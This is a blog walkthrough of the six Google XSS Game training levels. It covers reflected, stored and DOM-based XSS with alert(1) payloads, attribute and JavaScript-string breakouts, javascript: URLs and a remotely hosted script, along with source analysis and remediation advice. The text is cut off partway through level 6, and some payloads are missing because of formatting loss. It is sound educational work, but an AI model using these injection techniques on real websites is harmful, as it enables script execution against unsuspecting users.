August 27, 2026
Mastering Cross-Site Scripting (XSS) with Google XSS Game: A Complete Walkthrough of All 6 Levels
Introduction
By Muhammad Yaseen
7 min read
Introduction
Cross-Site Scripting (XSS) is one of the most common web application vulnerabilities. It occurs when an application accepts untrusted input and executes it as JavaScript in the user's browser.
To understand XSS practically, I completed the Google XSS Game from Level 1 to Level 6. This game helped me understand different XSS contexts, including reflected XSS, stored XSS, DOM-based XSS, JavaScript context injection, URL-based XSS, and remote script inclusion.
Note: This report is for educational purposes only. All testing was performed in a legal lab environment.
Lab Used: Google XSS Game URL: https://xss-game.appspot.com/
What is XSS?
Cross-Site Scripting allows an attacker to execute JavaScript in another user's browser. Depending on the vulnerability, attackers may be able to steal cookies, manipulate page content, redirect users, or perform actions on behalf of victims.
Common Types of XSS
-
Reflected XSS — payload comes from the request and is reflected immediately in the response.
-
Stored XSS — payload is stored on the server and executed whenever the page is loaded.
-
DOM-based XSS — vulnerability exists in client-side JavaScript, where unsafe DOM manipulation causes script execution.
Level 1: Reflected XSS
Objective
Inject a script to pop up a JavaScript alert() in the application.
Vulnerability
In this level, the application reflects user input directly into the page without proper escaping or sanitization.
Payload Used
Steps Followed
-
Opened Level 1 of the XSS game.
-
Entered the payload into the input/search field.
- The application reflected the payload in the page.
Why It Worked
The application inserted user-controlled input directly into the HTML response. Since the input was not encoded, the browser treated the payload as actual JavaScript instead of plain text.
Key Learning
This level demonstrates Reflected XSS, where malicious input is immediately reflected back in the response and executed by the browser.
Remediation
· Encode user input before displaying it in HTML.
· Use context-aware output encoding.
· Avoid directly inserting untrusted input into the page.
Level 2: Stored XSS / Persistent XSS
Objective
Inject a script that executes every time the page reloads.
Vulnerability
The application allows users to post content. The submitted content is stored and later displayed back to users without proper sanitization.
Payload Used
Alternative payloads that can be tested if script tags are filtered:
Steps Followed
-
Opened Level 2.
-
Submitted the XSS payload as a post/message.
- After reloading the page, the stored payload executed automatically.
Why It Worked
The application saved user input and rendered it later without escaping. Because the payload was stored permanently, it executed whenever the affected page was loaded.
Key Learning
This level demonstrates Stored XSS, which is more dangerous than reflected XSS because the payload persists and can affect multiple users.
Remediation
· Sanitize user input before storing it.
· Encode output before rendering stored content.
Use safe rendering methods such as textContent instead of innerHTML.
Level 3: DOM XSS Through Attribute Injection
Objective
Inject a script to pop up an alert in the application.
Vulnerability
The application reads a value from the URL fragment and uses it to dynamically build an image tag. The value is inserted into an HTML attribute without proper validation.
Payload Used
#3' onerror='alert(1)
Steps Followed
-
Opened Level 3.
-
Observed that the application changes images based on the URL fragment.
Source Code Analysis
chooseTab(unescape(self.location.hash.substr(1)) || "1");chooseTab(unescape(self.location.hash.substr(1)) || "1");The value is then passed to the chooseTab() function, where it is used to dynamically construct HTML content:
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);Although parseInt(num) is used when displaying the image number, the original num value is directly concatenated into the img tag's src attribute. The resulting HTML is then rendered using jQuery's .html() function, which is a dangerous sink because it interprets input as HTML.
The vulnerable flow is:
location.hash
↓
chooseTab()
↓
HTML String Construction
↓
$('#tabContent').html()location.hash
↓
chooseTab()
↓
HTML String Construction
↓
$('#tabContent').html()Because user input reaches .html() without proper sanitization, an attacker can break out of the src attribute and inject a new HTML attribute such as onerror, resulting in DOM-based XSS.
- Modified the fragment value in the URL.
#3' onerror='alert(1)
- The browser attempted to load a broken image.
Why It Worked
The application created HTML similar to:
After injecting the payload, the generated HTML became similar to:
The single quote closed the original src attribute, and onerror was injected as a new event handler. When the image failed to load, the browser executed alert(1).
Key Learning
This level demonstrates DOM-based XSS through attribute injection. The vulnerability exists because client-side JavaScript builds HTML using untrusted input.
Remediation
· Do not build HTML using untrusted input.
· Avoid dangerous sinks like .html() and innerHTML.
· Validate expected values strictly. For example, allow only numbers if the input should be an image number.
Level 4: JavaScript Context Injection
Objective
Inject a script to pop up an alert in the application.
Vulnerability
The application places user input directly inside JavaScript code without proper escaping.
Payload Used
');alert(1);//
Steps Followed
-
Opened Level 4.
-
Observed that the application used a timer function.
- Injected the payload:
');alert(1);//
- The payload broke out of the existing JavaScript string.
Why It Worked
Source Code Analysis
While reviewing the source code, I noticed that the application takes user-controlled input from the URL and uses it directly inside JavaScript code.
The vulnerable logic places the input within a JavaScript string and later uses it in a function call:
startTimer('USER_INPUT');startTimer('USER_INPUT');Since the input is inserted into a JavaScript context without proper escaping, an attacker can manipulate the structure of the script itself.
The vulnerable flow is:
URL Parameter
↓
JavaScript Variable
↓
Function Call Construction
↓
Browser Executes ScriptURL Parameter
↓
JavaScript Variable
↓
Function Call Construction
↓
Browser Executes ScriptBy supplying the payload:
');alert(1);//');alert(1);//the generated code becomes:
startTimer('');alert(1);//');startTimer('');alert(1);//');Payload breakdown:
- ' closes the original JavaScript string.
- ); terminates the original function call.
alert(1);injects and executes attacker-controlled JavaScript.- // comments out the remaining code to prevent syntax errors.
Because the application fails to properly escape user input before inserting it into a JavaScript string, the attacker can break out of the intended context and execute arbitrary JavaScript in the victim's browser.
This vulnerability is classified as DOM-Based XSS through JavaScript Context Injection, where user-controlled data is interpreted as executable JavaScript instead of plain text.
Key Learning
This level demonstrates XSS in a JavaScript execution context. The payload depends on where the input is inserted. In this case, the input was inside a JavaScript string.
Remediation
· Never insert untrusted input directly into JavaScript.
· Use proper JavaScript string encoding.
· Prefer safe data passing methods such as JSON encoding.
Level 5: JavaScript URL Injection
Objective
Inject a script to pop up an alert in the application.
Vulnerability
The application uses a user-controlled next parameter inside a link without validating the URL scheme.
Payload Used
javascript:alert(1)
Example URL: https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Steps Followed
-
Opened Level 5.
-
Observed the signup flow.
- Supplied javascript:alert(1) as the value of next.
- Continued through the signup flow.
Why It Worked
Source Code Analysis
While reviewing the source code, I observed that the application retrieves the next parameter from the URL and passes it directly to the template without proper validation.
The vulnerable code is:
self.render_template('confirm.html',
{'next': self.request.get('next', 'welcome')})self.render_template('confirm.html',
{'next': self.request.get('next', 'welcome')})The application assumes that the next parameter contains a legitimate navigation URL. However, because the value is fully controlled by the user, an attacker can supply a malicious URL scheme.
The vulnerable flow is:
URL Parameter (next)
↓
Template Rendering
↓
Link Generation
↓
User Clicks Link
↓
JavaScript ExecutesURL Parameter (next)
↓
Template Rendering
↓
Link Generation
↓
User Clicks Link
↓
JavaScript ExecutesBy supplying the payload:
javascript:alert(1)javascript:alert(1)the application generates a link similar to:
<a href="javascript:alert(1)">Next</a><a href="javascript:alert(1)">Next</a>When the victim clicks the link, the browser interprets the javascript: scheme as executable JavaScript rather than a normal URL and immediately executes the payload.
Unlike traditional XSS attacks that rely on injecting HTML tags or event handlers, this vulnerability abuses the browser's built-in support for JavaScript URLs.
Because the application fails to validate the URL scheme before using the user-controlled value, an attacker can execute arbitrary JavaScript in the victim's browser.
This vulnerability is classified as DOM-Based XSS through JavaScript URL Injection.
Security Issue
The application should only allow trusted URLs or relative paths and explicitly block dangerous URL schemes such as:
javascript:
data:
vbscript:javascript:
data:
vbscript:Implementing strict allowlist validation for navigation URLs would prevent this attack.
Key Learning
This level shows that XSS is not always about injecting new HTML tags. Even if HTML is escaped, unsafe URL handling can still lead to JavaScript execution.
Remediation
· Validate redirect and navigation parameters.
· Allow only trusted relative paths or approved domains.
· Block dangerous schemes such as javascript:, data:, and vbscript:.
Level 6: Remote Script Inclusion / DOM XSS
Objective
Make the application request an external JavaScript file that executes an alert.
Vulnerability
The application dynamically loads JavaScript files based on user-controlled input from the URL fragment.
The vulnerable logic is similar to:
var script = document.createElement('script'); script.src = userInput; document.body.appendChild(script);
If an attacker controls script.src, they can make the application load attacker-controlled JavaScript.
Payload Used
I hosted a JavaScript file on GitHub Pages.
File name: xss.js
File content: alert(1)
Payload used in the XSS game: #//myaseenva.github.io/xss-lab/xss.js
Full URL: https://xss-game.appspot.com/level6/frame#//myaseenva.github.io/xss-lab/xss.js
Steps Followed
-
Created a file named xss.js.
-
Added the following JavaScript code:
alert(1)
- Uploaded the file to a GitHub repository.
-
Verified that the file was accessible over HTTPS.
-
Supplied the GitHub Pages JavaScript file URL in the URL fragment.
- The application loaded the external script.